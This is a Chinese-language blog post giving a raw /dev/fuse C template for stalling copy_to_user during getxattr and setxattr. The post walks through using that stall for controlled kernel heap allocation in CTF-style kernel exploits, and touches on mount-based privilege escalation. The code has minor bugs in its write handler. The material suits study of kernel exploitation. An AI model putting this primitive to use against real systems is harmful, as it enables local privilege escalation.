fuse + {get,set}xattr 利用模板
起因
最近由于一些原因,需要使用 fuse + getxattr 这个 gadget。关于这种方法,可以参考这两篇文章:ref1,ref2。
ref2 里面有给出一个模板,但是遗憾的是此模板使用的是 libfuse 提供的类 VFS 接口。使用 libfuse 就需要我们能够把 libfuse 的库链接到 exp 中,许多时候这并非太大的难度,但是有些时候这样比较麻烦。
模板
但是在这个 issue 的 poc 中我们可以看到,实际上 fuse 子系统暴露给用户态的是 /dev/fuse
这个字符设备。因此我们只要 open
、mount
、read
、write
就能成功注册一个 fuse。其实只要看一下 libfuse 的源码也不难得出同样的结论。
所以下面给出一个易于集成的模板。编译很简单,保证 g++ 能找到 "linux/fuse”
,直接 g++ main.cc
即可,所以可以无缝融入 exp 中。
#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <unistd.h>
#define LOG(...) \
do { \
printf(__VA_ARGS__); \
putchar('\n'); \
} while (0)
char dumphex_buffer[0x8000];
void DumpHex(const void *data, size_t size) {
#define append_to_dumphex_buffer(...) \
snprintf(tmp_buf, sizeof(tmp_buf), __VA_ARGS__); \
strcat(dumphex_buffer, tmp_buf);
char ascii[17];
char tmp_buf[0x100];
memset(dumphex_buffer, 0, sizeof(dumphex_buffer));
size_t i, j;
ascii[16] = '\0';
for (i = 0; i < size; ++i) {
append_to_dumphex_buffer("%02X ", ((unsigned char *)data)[i]);
if (((unsigned char *)data)[i] >= ' ' &&
((unsigned char *)data)[i] <= '~') {
ascii[i % 16] = ((unsigned char *)data)[i];
} else {
ascii[i % 16] = '.';
}
if ((i + 1) % 8 == 0 || i + 1 == size) {
append_to_dumphex_buffer(" ");
if ((i + 1) % 16 == 0) {
append_to_dumphex_buffer("| %s \n", ascii);
} else if (i + 1 == size) {
ascii[(i + 1) % 16] = '\0';
if ((i + 1) % 16 <= 8) {
append_to_dumphex_buffer(" ");
}
for (j = (i + 1) % 16; j < 16; ++j) {
append_to_dumphex_buffer(" ");
}
append_to_dumphex_buffer("| %s \n", ascii);
}
}
}
printf("%s\n", dumphex_buffer);
}
#define EVIL_FUSE_FILE "abcd"
#define EVIL_FUSE_FILE_NODEID (2)
#define EVIL_FUSE_FILE_FH (0xdeadbeef)
void fuse_server(int fuse_fd) {
#define FUSE_OBJ_READ(_obj) \
if (read(fuse_fd, &(_obj), sizeof(_obj)) != sizeof(_obj)) { \
LOG("failed to read %s", #_obj); \
return; \
}
#define FUSE_REPLY_WRITE(_obj) \
if (write(fuse_fd, &(_obj), (_obj).h.len) != (_obj).h.len) { \
LOG("failed to write %s, errno = %d", #_obj, errno); \
/*return;*/ \
}
#define FUSE_REPLY_ERR(errno) \
do { \
struct { \
struct fuse_out_header h; \
} __reply = { \
.h = {.len = sizeof(__reply), \
.error = -errno, \
.unique = buf.inh.unique}, \
}; \
FUSE_REPLY_WRITE(__reply); \
} while (0)
struct fuse_attr_out dir_attrs = {
.attr_valid = FATTR_SIZE | FATTR_MODE,
.attr = {.size = 42, .mode = S_IFDIR | 0777}};
struct fuse_attr_out evil_file_attrs = {
.attr_valid = FATTR_SIZE | FATTR_MODE,
.attr = {.size = 0x1000, .mode = S_IFREG | 0777}};
char evil_file_buffer[0x1000];
memset(evil_file_buffer, 'A', 0x1000);
evil_file_buffer[0x1000 - 1] = '\0';
while (1) {
struct inbuf {
struct fuse_in_header inh;
union {
struct fuse_init_out init_out;
struct fuse_open_in open_in;
struct fuse_getattr_in getattr_in;
struct fuse_read_in read_in;
struct fuse_write_in write_in;
char pad[10000];
};
} buf;
size_t read_len = read(fuse_fd, &buf, sizeof(buf));
if (read_len < 0) {
LOG("failed to read from fuse_fd, errno = %d", errno);
return;
}
LOG("recv:");
DumpHex(&buf, read_len);
assert(read_len >= sizeof(buf.inh));
if (buf.inh.opcode == FUSE_INIT) {
LOG("fuse: init");
struct {
struct fuse_out_header h;
struct fuse_init_in b;
} reply = {
.h = {.len = sizeof(reply), .error = 0, .unique = buf.inh.unique},
.b = {.major = buf.init_out.major, .minor = buf.init_out.minor}};
FUSE_REPLY_WRITE(reply);
} else if (buf.inh.opcode == FUSE_LOOKUP) {
LOG("fuse: lookup, node=%lu, name %s", buf.inh.nodeid, buf.pad);
if (buf.inh.nodeid == 1 && strcmp(buf.pad, EVIL_FUSE_FILE) == 0) {
struct {
struct fuse_out_header h;
struct fuse_entry_out b;
} reply = {
.h = {.len = sizeof(reply), .error = 0, .unique = buf.inh.unique},
.b = {.nodeid = EVIL_FUSE_FILE_NODEID,
.entry_valid = 1,
.attr = evil_file_attrs.attr}};
FUSE_REPLY_WRITE(reply);
} else {
FUSE_REPLY_ERR(-ENOENT);
}
} else if (buf.inh.opcode == FUSE_GETATTR) {
LOG("fuse: getattr, node=%lu", buf.inh.nodeid);
if (buf.inh.nodeid == 2) {
struct {
struct fuse_out_header h;
struct fuse_attr_out b;
} reply = {
.h = {.len = sizeof(reply), .error = 0, .unique = buf.inh.unique},
.b = evil_file_attrs};
FUSE_REPLY_WRITE(reply);
} else if (buf.inh.nodeid == 1) {
struct {
struct fuse_out_header h;
struct fuse_attr_out b;
} reply = {
.h = {.len = sizeof(reply), .error = 0, .unique = buf.inh.unique},
.b = dir_attrs};
FUSE_REPLY_WRITE(reply);
} else {
struct {
struct fuse_out_header h;
} reply = {
.h = {.len = sizeof(reply),
.error = -ENOENT,
.unique = buf.inh.unique},
};
FUSE_REPLY_WRITE(reply);
}
} else if (buf.inh.opcode == FUSE_OPEN) {
if (buf.inh.nodeid == 2) {
struct {
struct fuse_out_header h;
struct fuse_open_out b;
} reply = {
.h = {.len = sizeof(reply), .error = 0, .unique = buf.inh.unique},
.b = {.fh = EVIL_FUSE_FILE_FH}};
FUSE_REPLY_WRITE(reply);
} else {
struct {
struct fuse_out_header h;
} reply = {.h = {.len = sizeof(reply),
.error = -ENOENT,
.unique = buf.inh.unique}};
FUSE_REPLY_WRITE(reply);
}
} else if (buf.inh.opcode == FUSE_READ) {
size_t off = buf.read_in.offset;
size_t size = buf.read_in.size;
int err = 0;
LOG("fuse: read, off %ld, size %ld", off, size);
//////////////////////////////////////////////////////////////////////////
// set your delay
sleep(4);
//////////////////////////////////////////////////////////////////////////
if (off >= 0x1000) {
err = -EINVAL;
}
if (off + size > 0x1000) {
size = 0x1000 - off;
}
if (err < 0) {
FUSE_REPLY_ERR(err);
} else {
struct {
struct fuse_out_header h;
char pad[0x1000];
} reply;
reply.h.len = sizeof(reply) - (0x1000 - size);
reply.h.error = 0;
reply.h.unique = buf.inh.unique;
////////////////////////////////////////////////////////////////////////
// you can set the read result here
memcpy(reply.pad, evil_file_buffer + off, size);
////////////////////////////////////////////////////////////////////////
FUSE_REPLY_WRITE(reply);
}
} else if (buf.inh.opcode == FUSE_WRITE) {
size_t off = buf.read_in.offset;
size_t size = buf.read_in.size;
char *write_buffer = sizeof(buf.write_in) + buf.pad;
int err = 0;
LOG("fuse: write, off %ld, size %ld", off, size);
if (off >= 0x1000) {
err = -EINVAL;
}
if (off + size > 0x1000) {
size = 0x1000 - off;
}
if (err < 0) {
FUSE_REPLY_ERR(err);
} else {
////////////////////////////////////////////////////////////////////////
// you can set the write request here
memcpy(evil_file_buffer + off, write_buffer + off, size);
struct {
struct fuse_out_header h;
struct fuse_write_out b;
} reply = {
.h = {.len = sizeof(reply), .error = 0, .unique = buf.inh.unique},
.b = {.size = (unsigned int)size}};
FUSE_REPLY_WRITE(reply);
}
} else if (buf.inh.opcode == FUSE_FORGET) {
// no reply
continue;
} else {
LOG("FUSE_op = %d, will ret 0", buf.inh.opcode);
FUSE_REPLY_ERR(0);
}
}
close(fuse_fd);
#undef FUSE_OBJ_READ
#undef FUSE_REPLY_WRITE
#undef FUSE_REPLY_ERR
}
int main() {
int fuse_fd = open("/dev/fuse", O_RDWR);
if (fuse_fd < 0) {
LOG("failed to open /dev/fuse, errno = %d", errno);
}
char mount_data[1024];
snprintf(mount_data, sizeof(mount_data),
"fd=%d,rootmode=40777,user_id=%d,group_id=%d,allow_other", fuse_fd,
getuid(), getgid());
mkdir("/tmp/fusedir", 0777);
// make sure you can mount, for example, use mount namespace
// unshare(CLONE_NEWUSER|CLONE_NEWNS);
// mount(NULL, "/", NULL, MS_PRIVATE|MS_REC, NULL);
int ret =
mount("fusemt", "/tmp/fusedir", "fuse", MS_NODEV | MS_NOSUID, mount_data);
LOG("mount ret %d, errno = %d", ret, errno);
if (ret < 0) {
return ret;
}
int pid = fork();
if (pid == 0) {
fuse_server(fuse_fd);
exit(0);
}
////////////////////////////////////////////////////////////////////////////////
// your exp here
// auto evil_fd = open("/tmp/fusedir" EVIL_FUSE_FILE, O_RDWR);
////////////////////////////////////////////////////////////////////////////////
waitpid(pid, nullptr, 0);
}
关于 getxattr
其实 setxattr + fuse/userfualtfd 并非完全的内容可控,最后一个字节总是无法稳定控制的。如果需要最后一字节可控,此时使用 getxattr 作为一个噪声略大的替代方法也不错。此时利用流程变为:
- setxattr 设置想要写入的数据
evil_fuse_file = open
并evil_fuse_file_addr = mmap(evil_fuse_file)
evil fuse filegetxattr(evil_fuse_file_addr)
getxattr
通过kvmalloc
出用户指定大小的 chunk- 通过 vfs 操作获取文件 xattr,将 xattr 写入 chunk
- 尝试通过
copy_to_user
将 chunk 内容拷贝给用户态 copy_to_user
触发evil_fuse_file_addr
所在页的缺页异常,内核会读取 evil_fuse_file 文件- 在我们向
/dev/fuse
写入 response 前,copy_to_user 都无法返回,因此我们可以完全控制 chunk 的 free 时机
我们可以看到,getxattr 可以完全控制此 chunk 的数据。
这里要注意的是,虽然 copy_to_user
是向 evil_fuse_file_addr
写入数据,但是对于内核来说,仍然要先把页转为 mapped 状态,这必然要读文件。而当 copy_to_user 真正写入 evil_fuse_file_addr
时,由于缓存的存在,也不一定会直接触发 fuse 的文件写。所以我们还是要在 FUSE_READ 回调中进行 sleep。
使用前提
如果要用 fuse,需要我们拥有 mount 权限,内核需要有 CONFIG_FUSE_FS=y
。mount 权限可以通过 mount_namespaces 来获取。CTF 中许多时候无法使用 fuse 来利用,大概率是 CONFIG_FUSE_FS=y
未开启,因此 /dev/fuse
驱动不存在。
mount 有什么错?
我们知道,Linux 中,只有 root 才能进行 mount。但是 mount 似乎没什么危险的?实际上是我们可以通过 mount 来改变一些本来不能改变的文件。如果非 root 能 mount,那么我们就可以通过 mount 把 /lib/
劫持掉,然后起 suid 程序实现提权。
所以我们可以发现 mount_namespace 在把外部文件系统隔离掉后,就允许我们 mount 了。